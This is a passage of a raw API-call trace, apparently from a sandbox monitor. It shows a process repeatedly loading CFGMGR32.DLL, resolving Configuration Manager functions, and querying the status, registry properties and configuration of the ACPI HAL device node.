0x7ffa786ce670 [0191.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0191.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0191.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0191.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0191.353] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0191.353] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0191.353] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0191.353] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0191.353] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0191.353] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0191.353] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0191.353] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0191.353] malloc (_Size=0x18) returned 0x196ef0d1b00 [0191.354] CM_Get_Device_IDA (in: dnDevInst=0x5, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\ACPI_HAL\\0000") returned 0x0 [0191.354] malloc (_Size=0x48) returned 0x196ef0fb270 [0191.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x52e7f58a, dwHighDateTime=0x1d9eb0c)) [0191.354] SetEvent (hEvent=0x248) returned 1 [0191.359] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0191.359] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0191.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0191.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0191.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0191.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0191.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0191.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0191.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0191.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0191.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0191.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0191.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0191.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0191.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0191.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0191.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0191.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0191.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0191.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0191.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0191.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0191.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0191.362] malloc (_Size=0x18) returned 0x196ef0d1a20 [0191.362] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0191.362] malloc (_Size=0x14) returned 0x196ef0d1d20 [0191.362] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d1d20, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1d20, pulLength=0x67117d608) returned 0x0 [0191.362] free (_Block=0x196ef0d1d20) [0191.362] malloc (_Size=0x48) returned 0x196ef0fba40 [0191.362] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x52ea4eaa, dwHighDateTime=0x1d9eb0c)) [0191.362] SetEvent (hEvent=0x248) returned 1 [0191.366] malloc (_Size=0x18) returned 0x196ef0d1b00 [0191.366] SafeArrayPutElement (psa=0x196ee7bf720, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0191.366] free (_Block=0x196ef0d1b00) [0191.366] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855e60 [0191.366] SafeArrayGetDim (psa=0x196ee7bf720) returned 0x1 [0191.366] SafeArrayGetLBound (in: psa=0x196ee7bf720, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0191.366] SafeArrayGetUBound (in: psa=0x196ee7bf720, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0191.366] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6500 [0191.366] SafeArrayGetDim (psa=0x196ee7bf720) returned 0x1 [0191.366] SafeArrayGetUBound (in: psa=0x196ee7bf720, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0191.366] SafeArrayGetElemsize (psa=0x196ee7bf720) returned 0x8 [0191.366] SafeArrayGetElement (in: psa=0x196ee7bf720, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0191.367] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225c90, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0191.368] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6500) returned 1 [0191.368] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855e60) returned 1 [0191.368] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0191.368] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0191.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0191.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0191.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0191.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0191.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0191.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0191.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0191.370] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0191.370] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0191.370] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0191.370] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0191.370] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0191.370] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0191.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0191.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0191.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0191.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0191.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0191.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0191.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0191.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0191.372] malloc (_Size=0x18) returned 0x196ef0d20a0 [0191.373] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0191.373] malloc (_Size=0x5a) returned 0x196ef0d0610 [0191.373] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d0610, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0610, pulLength=0x67117d608) returned 0x0 [0191.373] free (_Block=0x196ef0d0610) [0191.373] malloc (_Size=0x48) returned 0x196ef0fb950 [0191.374] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x52ecb1e8, dwHighDateTime=0x1d9eb0c)) [0191.374] SetEvent (hEvent=0x248) returned 1 [0191.376] malloc (_Size=0x18) returned 0x196ef0d20c0 [0191.376] SafeArrayPutElement (psa=0x196ee7bf6a0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0191.376] free (_Block=0x196ef0d20c0) [0191.376] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0191.376] SafeArrayPutElement (psa=0x196ee7bf6a0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0191.376] free (_Block=0x196ef0d1ee0) [0191.376] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855860 [0191.376] SafeArrayGetDim (psa=0x196ee7bf6a0) returned 0x1 [0191.376] SafeArrayGetLBound (in: psa=0x196ee7bf6a0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0191.376] SafeArrayGetUBound (in: psa=0x196ee7bf6a0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0191.376] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6500 [0191.377] SafeArrayGetDim (psa=0x196ee7bf6a0) returned 0x1 [0191.377] SafeArrayGetUBound (in: psa=0x196ee7bf6a0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0191.377] SafeArrayGetElemsize (psa=0x196ee7bf6a0) returned 0x8 [0191.377] SafeArrayGetElement (in: psa=0x196ee7bf6a0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0191.377] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e270, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0191.377] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e278, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0191.378] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6500) returned 1 [0191.379] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855860) returned 1 [0191.379] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0191.379] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0191.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0191.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0191.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0191.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0191.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0191.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0191.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0191.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0191.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0191.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0191.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0191.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0191.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0191.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0191.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0191.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0191.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0191.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0191.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0191.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0191.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0191.563] malloc (_Size=0x18) returned 0x196ef0d1c40 [0191.563] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0191.581] malloc (_Size=0x48) returned 0x196ef0fb900 [0191.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x530bb04a, dwHighDateTime=0x1d9eb0c)) [0191.582] SetEvent (hEvent=0x248) returned 1 [0191.584] SetEvent (hEvent=0x248) returned 1 [0191.585] free (_Block=0x196ef0fb900) [0191.586] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0191.588] malloc (_Size=0x48) returned 0x196ef0fbe50 [0191.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x530bb04a, dwHighDateTime=0x1d9eb0c)) [0191.637] SetEvent (hEvent=0x248) returned 1 [0191.638] SetEvent (hEvent=0x248) returned 1 [0191.639] free (_Block=0x196ef0fbe50) [0191.639] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0191.641] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0191.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x53153a05, dwHighDateTime=0x1d9eb0c)) [0191.641] SetEvent (hEvent=0x248) returned 1 [0191.642] SetEvent (hEvent=0x248) returned 1 [0191.643] free (_Block=0x196ef0fbbd0) [0191.643] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0191.643] malloc (_Size=0x48) returned 0x196ef0fba40 [0191.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x53153a05, dwHighDateTime=0x1d9eb0c)) [0191.643] SetEvent (hEvent=0x248) returned 1 [0191.647] SetEvent (hEvent=0x248) returned 1 [0191.648] free (_Block=0x196ef0fba40) [0191.648] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0191.827] malloc (_Size=0x48) returned 0x196ef0fb220 [0191.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5331d56f, dwHighDateTime=0x1d9eb0c)) [0191.827] SetEvent (hEvent=0x248) returned 1 [0191.832] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0191.832] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0191.833] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0191.833] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0191.833] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0191.833] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0191.833] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0191.834] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0191.834] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0191.834] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0191.834] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0191.834] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0191.834] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0191.835] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0191.835] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0191.835] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0191.835] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0191.835] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0191.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0191.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0191.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0191.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0191.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0191.836] malloc (_Size=0x18) returned 0x196ef0d1d00 [0191.836] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x5, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0191.837] malloc (_Size=0x48) returned 0x196ef0fb680 [0191.837] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x5331d56f, dwHighDateTime=0x1d9eb0c)) [0191.837] SetEvent (hEvent=0x248) returned 1 [0191.846] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0191.846] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0191.846] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0191.846] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0191.847] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0191.847] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0191.847] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0191.847] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0191.847] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0191.847] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0191.847] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0191.848] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0191.848] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0191.848] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0191.848] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0191.848] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0191.848] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0191.848] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0191.848] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0191.849] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0191.849] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0191.849] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0191.849] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0191.849] malloc (_Size=0x18) returned 0x196ef0d1d40 [0191.849] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x5, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0191.849] malloc (_Size=0x48) returned 0x196ef0fb220 [0191.850] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x53344b09, dwHighDateTime=0x1d9eb0c)) [0191.850] SetEvent (hEvent=0x248) returned 1 [0191.856] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0191.856] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0191.857] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0191.857] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0191.858] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0191.858] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0191.858] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0191.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0191.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0191.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0191.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0191.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0191.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0191.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0191.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0191.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0191.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0191.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0191.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0191.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 